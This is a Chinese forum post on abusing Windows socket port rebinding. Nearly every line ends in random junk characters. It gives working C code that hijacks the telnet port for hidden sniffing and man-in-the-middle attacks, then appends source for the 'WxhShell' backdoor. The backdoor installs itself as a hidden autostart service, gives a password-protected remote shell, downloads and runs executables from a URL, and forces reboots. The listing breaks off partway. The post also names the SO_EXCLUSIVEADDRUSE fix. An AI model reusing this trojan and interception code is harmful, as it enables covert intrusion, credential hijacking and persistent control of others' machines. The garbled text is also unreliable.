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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a(eKb2CX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pef)c,U$  
lB(E:{6OZ  
  saddr.sin_family = AF_INET; <73dXTZ0  
\C&[BQ\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e2dg{n$6"  
f i_'Ny>#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r=J+  
R/O>^s!Co  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !bq3c(d  
;h-W&i7  
  这意味着什么?意味着可以进行如下的攻击: ,(@JNtx  
M SnRx*-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w<P$)~6  
wAvnj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *6` };ASK  
^E#i5d+'N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 . XVW2ISv  
it#,5#Y:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,u<oAI`  
gB)Cmw*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k vQ] }`a  
PsMp &~^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0D s W1  
'Zket=Sm;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #$^vP/"$  
Qf .ASC   
  #include yU{Q`6u T  
  #include <NYf!bx  
  #include v] ?zG&Jh  
  #include    "G[yV>pxv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %`# HGji)  
  int main() ]Uu:t  
  { 6/=0RTd  
  WORD wVersionRequested; b)(rlX  
  DWORD ret; LFskNF0X  
  WSADATA wsaData; $SbgdbX  
  BOOL val; j`o_Stbg  
  SOCKADDR_IN saddr; <Crbc$!OeX  
  SOCKADDR_IN scaddr; ZYexW=@  
  int err; GL^84[f-T  
  SOCKET s; ~x-v%x6  
  SOCKET sc; I" hlLP  
  int caddsize; i>aIuQ`pe  
  HANDLE mt; 5{Oq* |  
  DWORD tid;   wR%F>[ 6.{  
  wVersionRequested = MAKEWORD( 2, 2 ); *I6W6y;E=  
  err = WSAStartup( wVersionRequested, &wsaData ); )s~szmJoVD  
  if ( err != 0 ) { /n3Qcht  
  printf("error!WSAStartup failed!\n"); E|K|AdL  
  return -1; A0l-H/l7  
  } +td]g9Ie  
  saddr.sin_family = AF_INET;  %ZR<z$  
   gy*c$[NS$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %jErLg  
]=Dzr<*v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?glK~G!i  
  saddr.sin_port = htons(23); @km@\w  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Klj -dz  
  { :AYhBhitC  
  printf("error!socket failed!\n"); Rh :|ij>B  
  return -1; <C<z#M'`  
  } ~#];&WE  
  val = TRUE; )#Le"&D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8-&c%h 1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ef]<0Tm]:  
  { 6.'j \  
  printf("error!setsockopt failed!\n"); bP)( 4+t~  
  return -1; *Tum(wWZ  
  } Iy#=Nq=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Tv6HPD$[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oWb\T 2!m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2/>u8j  
F.cKg~E|e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V=de3k&p  
  { ]k# iA9I  
  ret=GetLastError(); eD,'M  
  printf("error!bind failed!\n"); .gclE~h.  
  return -1; gski:C   
  } h3rVa6cxM  
  listen(s,2); QF4)@ r{2x  
  while(1) Aryp!oW  
  { ?P%-p  
  caddsize = sizeof(scaddr); BS|$-i5L  
  //接受连接请求 HD YWDp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7SJbrOL4Q-  
  if(sc!=INVALID_SOCKET) ;u*I#)7  
  { I&wJK'GM`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2)MX<prH  
  if(mt==NULL) =1+/`w  
  { X-y3CO:&@h  
  printf("Thread Creat Failed!\n"); c\le8C3  
  break; 2Bz\Tsp  
  } @:Emmzucv|  
  } CxD=8X9m  
  CloseHandle(mt); ^u:bgwP  
  } _lBHZJ+  
  closesocket(s); 8.zYa(< 2  
  WSACleanup(); }Y!v"DO#Q*  
  return 0; \k9]c3V  
  }   | r,{#EE  
  DWORD WINAPI ClientThread(LPVOID lpParam) D%*Ryg  
  { PS3jCT  
  SOCKET ss = (SOCKET)lpParam; 2 -pv &  
  SOCKET sc; O<P(UT"  
  unsigned char buf[4096]; VVw5)O1'  
  SOCKADDR_IN saddr; Y3JIDT^  
  long num; !<vy!pXg  
  DWORD val; /d*[za'0  
  DWORD ret; L_Xbca=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 nIWY<Z"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iyv5\  
  saddr.sin_family = AF_INET; 6&;h+;h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &Lbh?C  
  saddr.sin_port = htons(23); *| as-!${k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <8ih >s(C  
  { `Jj q5:\&  
  printf("error!socket failed!\n"); RqKkB8g  
  return -1; i<{:J -U|  
  } DEW;0ic  
  val = 100; Q%:Z&lg y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tTb fyI  
  { UCo`l~K)qg  
  ret = GetLastError(); rV fZ_\|  
  return -1; {8"Uxj_6V  
  } > zfFvx_q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3/ '5#$  
  { '<U4D  
  ret = GetLastError(); pv,z$3Q  
  return -1; B:VGa<lx5  
  } =wMq!mBd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z#%s/TL  
  { I23"DBR3  
  printf("error!socket connect failed!\n"); ~(`&hYE  
  closesocket(sc); NQcNY=  
  closesocket(ss); VA @  
  return -1; aUi^7;R&<  
  } wUfm)Q#  
  while(1) B9wQ;[gQB  
  { x^Zm:Jrw~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 48_( 'z*>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QYEGiT   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |$C fm}  
  num = recv(ss,buf,4096,0); )4RSo&9p`  
  if(num>0) p2 !w86 F  
  send(sc,buf,num,0); >*EJ6FPO  
  else if(num==0) gnadx52FP  
  break; X!6$<8+1OV  
  num = recv(sc,buf,4096,0); deEc;IAo  
  if(num>0) JfRLqA/  
  send(ss,buf,num,0); ?DE{4Ti/[  
  else if(num==0) akG|ic-~  
  break; ,0eXg  
  } LK<ZF=z]Z  
  closesocket(ss); ; o(:}d  
  closesocket(sc); Y?- "HK:  
  return 0 ; R[l~E![!j  
  } `neo.]  
4|UtE<<b  
 &\ K  
========================================================== ?:6w6GwAA  
Bkg./iP5x  
下边附上一个代码,,WXhSHELL N|%X/UjZ2.  
 `7oYXk  
========================================================== )"]( ?V  
a1EQ.u  
#include "stdafx.h" w~3z) ;  
iO"ZtkeNr  
#include <stdio.h> @O|`r(le  
#include <string.h> :jJ0 +Q  
#include <windows.h> ,u9 >c*Ss\  
#include <winsock2.h> Z`#XB2,  
#include <winsvc.h> <B'PB"R3y  
#include <urlmon.h> +U iJWO  
= toU?:.  
#pragma comment (lib, "Ws2_32.lib") 2J (nJT"  
#pragma comment (lib, "urlmon.lib") 8Y_lQfJa  
}@~+%_;  
#define MAX_USER   100 // 最大客户端连接数 ]TN/n%\  
#define BUF_SOCK   200 // sock buffer ]MC5 uKn  
#define KEY_BUFF   255 // 输入 buffer [ #fz [U  
zYM0?O8pJ~  
#define REBOOT     0   // 重启 e-nwR  
#define SHUTDOWN   1   // 关机 $RYOj{1  
@k\,XV`T~t  
#define DEF_PORT   5000 // 监听端口 wRZS+^hx  
_YN C}PUU  
#define REG_LEN     16   // 注册表键长度 g9Ty%|Q7(  
#define SVC_LEN     80   // NT服务名长度 GcG$>&,  
xEv?2n@A  
// 从dll定义API Cq[Hh#q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4ves|pLET  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1@9M[_<n5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X`fm5y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ya-GDB;L  
A p 3B'  
// wxhshell配置信息 D~M*]&  
struct WSCFG { ^>^h|$  
  int ws_port;         // 监听端口 "N)InPR-  
  char ws_passstr[REG_LEN]; // 口令 -j@IDd7  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^])s\a$  
  char ws_regname[REG_LEN]; // 注册表键名 ""m/?TZq'  
  char ws_svcname[REG_LEN]; // 服务名 0<##8m@F8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J ~KygQ3%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v5&W)F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oi8M6l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ge1U1o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (hh^?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kw2]J)TO  
`6BQ6)7  
}; p.H`lbVY  
IJC]Al,df  
// default Wxhshell configuration ]=59_bkD:s  
struct WSCFG wscfg={DEF_PORT, 5H,(\Xd  
    "xuhuanlingzhe", i^8w0H<-@v  
    1, aimf,(+  
    "Wxhshell", Qwp2h"t`  
    "Wxhshell", g?K? Fn.}  
            "WxhShell Service", Gyrc~m[$  
    "Wrsky Windows CmdShell Service", *$3p3-  
    "Please Input Your Password: ", $M~`)UeV_  
  1, F"QJ)F  
  "http://www.wrsky.com/wxhshell.exe", c=^69>w  
  "Wxhshell.exe" BU7QK_zT:  
    }; B1]FB|0's  
=1xVw5^F  
// 消息定义模块 )|#ExyRO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cQsSJBZ[v5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'v=BAY=Ef  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ap,zC)[  
char *msg_ws_ext="\n\rExit."; MZqHL4<|  
char *msg_ws_end="\n\rQuit."; [^XD @  
char *msg_ws_boot="\n\rReboot..."; c` N_MP  
char *msg_ws_poff="\n\rShutdown..."; U[:=7UABU?  
char *msg_ws_down="\n\rSave to "; +{}p(9w@  
mX, @yCI  
char *msg_ws_err="\n\rErr!"; er2;1TW3E  
char *msg_ws_ok="\n\rOK!"; R^]a<g,  
P@x@5uC2  
char ExeFile[MAX_PATH]; K)}Vr8,V  
int nUser = 0; =h|7bYLy  
HANDLE handles[MAX_USER];  )\kNufP  
int OsIsNt; Z_7TD)  
Fq`@sM $  
SERVICE_STATUS       serviceStatus; 1lJ^$U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 02)Ybp6y  
+UX} "m~W  
// 函数声明 2sVDv@2  
int Install(void); ?}S!8;d  
int Uninstall(void); c8HETs1  
int DownloadFile(char *sURL, SOCKET wsh); wUfPnAD.'  
int Boot(int flag); h 0)oQrY  
void HideProc(void); NRk^Z)  
int GetOsVer(void); <p+7,aE_  
int Wxhshell(SOCKET wsl); RWoVN$i>  
void TalkWithClient(void *cs); R/ x-$VJ  
int CmdShell(SOCKET sock); / Xv@g$  
int StartFromService(void); y)TBg8Q  
int StartWxhshell(LPSTR lpCmdLine); L`fT;2  
}WF6w+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _d+` Gw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9>ZX@1]m_  
vV*/"'>  
// 数据结构和表定义 JeAyT48!M  
SERVICE_TABLE_ENTRY DispatchTable[] = K6@ %@v  
{ FI)0.p  
{wscfg.ws_svcname, NTServiceMain}, wo$ F_!3u  
{NULL, NULL} ;&kZ7%  
}; Ik@MIxLK  
1F+nWc2b  
// 自我安装 ju4wU; Nu  
int Install(void) {UF|-VaG  
{ ~q}]/0-m  
  char svExeFile[MAX_PATH]; pW>.3pj  
  HKEY key; :5jor Vu  
  strcpy(svExeFile,ExeFile); @V+KL>Qw  
5d}bl{  
// 如果是win9x系统,修改注册表设为自启动 buWF6LFC  
if(!OsIsNt) { xsrdHP1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ej&o,gX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o=F!&]+  
  RegCloseKey(key); <l>L8{-3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A5O;C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jO`L:D/C  
  RegCloseKey(key); vkW;qt}yO  
  return 0; a)6?:nY$  
    } }VVtv1  
  } g Eq6[G  
} a t=;}}X  
else { $. sTb  
O<XNI(@  
// 如果是NT以上系统,安装为系统服务 ~dLe9-_9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); db3.X~Cn#s  
if (schSCManager!=0) 'lgS) m  
{ -Byl~n3*D  
  SC_HANDLE schService = CreateService 7]hRAhJ8I  
  ( zP/SDW   
  schSCManager, s8k4e6ak  
  wscfg.ws_svcname, XHY,;4  
  wscfg.ws_svcdisp, HD z"i  
  SERVICE_ALL_ACCESS, 9'KOc5@l^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rKl  
  SERVICE_AUTO_START, :z$+leNH\  
  SERVICE_ERROR_NORMAL, clM6R  
  svExeFile, -&QpQ7q1  
  NULL, h9~oS/%:  
  NULL, ;:bnLSPo  
  NULL, x7xQrjE  
  NULL, 1z@ ncqe  
  NULL 5rJ7CfVq  
  ); 18y'#<X!  
  if (schService!=0) |voZ0U  
  { lO}I>yo}\  
  CloseServiceHandle(schService); W=,]#Z+M;  
  CloseServiceHandle(schSCManager); QR$m i1Vv\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yPH5/5;,  
  strcat(svExeFile,wscfg.ws_svcname); !T}R=;)e h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *4l6+#W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "2T* w~V&y  
  RegCloseKey(key); pz.fZV  
  return 0; B""=&(Yu  
    } a JQ_V  
  } jLEO-<)-)  
  CloseServiceHandle(schSCManager); u#3Cst8Y  
} vQ{mEaH  
} $@[Mo   
"b`3   
return 1; }IKU^0M9<T  
} Nm3CeU  
jW}hLjlN  
// 自我卸载 CR-2>,*a9  
int Uninstall(void) cn'r BY  
{ ~sCdvBA  
  HKEY key; % "ZC9uq?  
zZ8:>2Ps(  
if(!OsIsNt) { jYW-}2L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nh6!h%  
  RegDeleteValue(key,wscfg.ws_regname); x0xQFlGk  
  RegCloseKey(key); IN"6 =2:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a%wa3N=v  
  RegDeleteValue(key,wscfg.ws_regname); ''.\DC~K  
  RegCloseKey(key); >a: 6umY  
  return 0; z~;@Mo"*f  
  } Ul|htB<1:  
} YRj"]= 5N  
} m .^WSy  
else { ~vfPsaRh  
e ,A9N%M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y"ms;w'z  
if (schSCManager!=0) Oq 95zo  
{ !Eb!y`jK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +^%0/0e  
  if (schService!=0) @$?*UI6y  
  { {.r9l  
  if(DeleteService(schService)!=0) { \Pd>$Q  
  CloseServiceHandle(schService); 7#9fcfL  
  CloseServiceHandle(schSCManager); CW~c<,"  
  return 0; }`uq:y  
  } @DyMq3Gt?&  
  CloseServiceHandle(schService); t>"|~T$9  
  } 8ya|eJ]/L  
  CloseServiceHandle(schSCManager); NHzVA*f  
} 1xsB@D  
} T?D]]x  
p$6L_ *$  
return 1; &"X1w $  
} ES[]A&tf  
B)Dsen  
// 从指定url下载文件 (KT+7j0^  
int DownloadFile(char *sURL, SOCKET wsh) 6H|&HV(!R  
{ !GoHCe[10  
  HRESULT hr; CrX1qyR  
char seps[]= "/"; \}7xgQ>oV  
char *token; >+*lG>!z  
char *file; w-``kID  
char myURL[MAX_PATH]; Oi~.z@@  
char myFILE[MAX_PATH]; !Ee&e~"  
M =GF@C;b  
strcpy(myURL,sURL); wPpern05  
  token=strtok(myURL,seps); 3:gF4(.  
  while(token!=NULL) `W4Is~VVv  
  { l/bZE.GJ  
    file=token; K)9f\1\  
  token=strtok(NULL,seps); 8*(|uX  
  } oh >0}Gc8  
2Vg+Aly4D  
GetCurrentDirectory(MAX_PATH,myFILE); vNAQ/Q  
strcat(myFILE, "\\"); MNKY J  
strcat(myFILE, file); #vT~D>zj  
  send(wsh,myFILE,strlen(myFILE),0); R"e533  
send(wsh,"...",3,0); ?;p45y~n%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s%)>O{{)  
  if(hr==S_OK) v$R7"  
return 0; mB*;>   
else wmit>69S  
return 1; m?`$NJST  
YHo*IX')C?  
} 8' +I8J0l  
C0'_bTfB  
// 系统电源模块 P? LpI`f  
int Boot(int flag) g<MCvC@  
{ aX35^K /  
  HANDLE hToken; dxF)) Z  
  TOKEN_PRIVILEGES tkp; ImI, q:[67  
$`Aps7A  
  if(OsIsNt) { q]m$%>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Iyt.`z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h) W|~y@  
    tkp.PrivilegeCount = 1; lf2(h4[1R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @86I|cY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H`8}w{ft&  
if(flag==REBOOT) { qjLFgsd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ert` ]s~  
  return 0; _U%2J4T2  
} nnMRp7LQ-  
else { ,a} vx"~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f15n ~d  
  return 0; IL<@UWs6  
} bH_zWk  
  } i  M!=/  
  else { K=;oZYNd  
if(flag==REBOOT) { zT jk^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R"[U<^  
  return 0; 0 I[3%Q{  
} lNqF@eCT9  
else { N uq/y=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wnbKUlb  
  return 0; |j7{zsH  
} $jv/00:&  
} xtRHb''FX  
xX{gm'3UYa  
return 1; P}mn2Hs  
} N(L?F):fT  
)zq sn  
// win9x进程隐藏模块 " IC0v9  
void HideProc(void) <I^Tug\M+  
{ _w49@9?  
Y+_t50 S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W= $, \D+  
  if ( hKernel != NULL ) r7n-Xe  
  { u6~/" _FwY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K1^x+I7%U[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Py-}tFr  
    FreeLibrary(hKernel); x)^t5"F  
  } f hr QJ  
;TG<$4N  
return; lAx^!#~\  
} +(J{~A~  
SHP_  
// 获取操作系统版本 ($Ck5`_MK  
int GetOsVer(void) y4 ~;H{!  
{ S%k](\7!  
  OSVERSIONINFO winfo; 8zk?:?8%{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zsha/:b  
  GetVersionEx(&winfo); p>GxSE)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *9xv0hRQ%?  
  return 1; j_HwR9^fd,  
  else 8K0@*0  
  return 0; /|2 hW`G  
} cSs??i D"q  
hQ}B?'>  
// 客户端句柄模块 A>W8^|l6+-  
int Wxhshell(SOCKET wsl) :I^I=A%Pe(  
{ B]|"ePj-  
  SOCKET wsh; `f+l\'.s  
  struct sockaddr_in client; u.L{3gkT  
  DWORD myID; uO;_T/^u  
uP veAK}h  
  while(nUser<MAX_USER) q3-V_~5^/z  
{ OMVK\_oXo  
  int nSize=sizeof(client); UFY_.N~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0*}%v:uN9  
  if(wsh==INVALID_SOCKET) return 1; k874tD  
x6={)tj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tgB\;nbB  
if(handles[nUser]==0) [agp06 $D?  
  closesocket(wsh); Q7@.WG5  
else l9Sx'<  
  nUser++; $M 1/74  
  } T`.RP&2/d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); or{X{_X7  
@ 80Z@Pj  
  return 0; P n|*(sTl  
} beCTOmC  
}qOj^pkJ  
// 关闭 socket rkz_h  
void CloseIt(SOCKET wsh) \<K@t=/ 6  
{ UN6Du\)]d  
closesocket(wsh); ]Uee!-dZ  
nUser--; r^|AiYI)  
ExitThread(0); pv #uLo  
} }tRY,f  
U$5 lh  
// 客户端请求句柄 WGeTL`}dh  
void TalkWithClient(void *cs) bI?YNt,  
{ 1rmK#ld"=Z  
vkQkU,q  
  SOCKET wsh=(SOCKET)cs; c3$h-M(jVJ  
  char pwd[SVC_LEN]; V"{+cPBO)  
  char cmd[KEY_BUFF]; uNSbAw3  
char chr[1]; '8b/TL  
int i,j; 4PzCm k  
DoA+Bwq@  
  while (nUser < MAX_USER) { }- P ='AyL  
/?wH1 ,  
if(wscfg.ws_passstr) { "]M]pR/j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J` J^C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kt*""&R  
  //ZeroMemory(pwd,KEY_BUFF); 1IRlFC  
      i=0; aOH$}QnS  
  while(i<SVC_LEN) { CZL:&~l1  
;>d uY\$<  
  // 设置超时 !$i*u-%4  
  fd_set FdRead; <p74U( V  
  struct timeval TimeOut; !K~:crUV|S  
  FD_ZERO(&FdRead); xF4>G0  
  FD_SET(wsh,&FdRead); lSzLR~=Au  
  TimeOut.tv_sec=8; uYv"5U]MFv  
  TimeOut.tv_usec=0; ?-`G0(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); toCxY+"nbU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9j;L-  
<-1(G1v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v0yaFP#kG  
  pwd=chr[0]; l12_&o"C~  
  if(chr[0]==0xd || chr[0]==0xa) { P~5[.6gW  
  pwd=0; )Uv lEG']  
  break; !5;A.f  
  } jeM/8~^4-  
  i++; 5B lptC  
    } ^}gQh#  
m6 )sX&  
  // 如果是非法用户,关闭 socket kt ILKpHt"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lStYfO:<'v  
} JQhw>H9&  
"|6#n34  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U?}>A5H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w,t>M_( N  
KAucSd`  
while(1) { j JxV)AIY  
Gqz<;y  
  ZeroMemory(cmd,KEY_BUFF); ;gC.fpu  
l#W9J.q(  
      // 自动支持客户端 telnet标准   q-g3!  
  j=0; +x3T^G  
  while(j<KEY_BUFF) { Sj$XRkbj:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %ifq4'?Z   
  cmd[j]=chr[0]; '<A:`V9M}v  
  if(chr[0]==0xa || chr[0]==0xd) { FOFZ/q  
  cmd[j]=0; /NH9$u.g  
  break; $&@L[[xl  
  } $ {iV]Xt  
  j++;  4|9c+^%^  
    } .%D9leiRe  
/~49.}yt  
  // 下载文件 q^e4  
  if(strstr(cmd,"http://")) { 9D2}heTN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tq r]5  
  if(DownloadFile(cmd,wsh)) )Bl0 W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b0A*zQA_)  
  else UKBVCAK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OKo39 A\fu  
  } G/2| *H  
  else {  i,{'}B  
_\9|acFT2O  
    switch(cmd[0]) { >>**n9\q  
  H>x(c|ZBp  
  // 帮助 | Vtd !9  
  case '?': { m@r+M"!R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]pZxbs&Vb  
    break; ^=H. .pr  
  } SxHj3,`#C  
  // 安装 [/s^(2%  
  case 'i': { CMm:Vea  
    if(Install()) kIb)I(n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Rgvb3u  
    else (o!v,=# 6{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ],lrT0_cT  
    break; = h _>OA  
    } {R2gz]v4  
  // 卸载 6/m|Sg.m  
  case 'r': { (~R[K,G  
    if(Uninstall()) MT8BP)C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x:h0/f  
    else D5wy7`c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 a ED6  
    break; G8w<^z>pTg  
    } O>Vb7`z0<  
  // 显示 wxhshell 所在路径 \"]vSx>  
  case 'p': { ^^u{W|'CaH  
    char svExeFile[MAX_PATH]; hPs7mnSW  
    strcpy(svExeFile,"\n\r"); eY)JuJ?  
      strcat(svExeFile,ExeFile); 03WLVP@  
        send(wsh,svExeFile,strlen(svExeFile),0); woctnT%"Q/  
    break; nN=o/zd  
    } Xndgs}zz  
  // 重启 }r}$8M+1  
  case 'b': { }tvLe3O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h|=<I)}z  
    if(Boot(REBOOT)) X=i^[?C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e/pZLj]M  
    else { tevB2'3^  
    closesocket(wsh); i'GBj,:  
    ExitThread(0); q~[@(+zP5  
    } *} pl  
    break; tOJK~%'  
    } I[r  
  // 关机 5'JONw'\  
  case 'd': { Qi 3di  
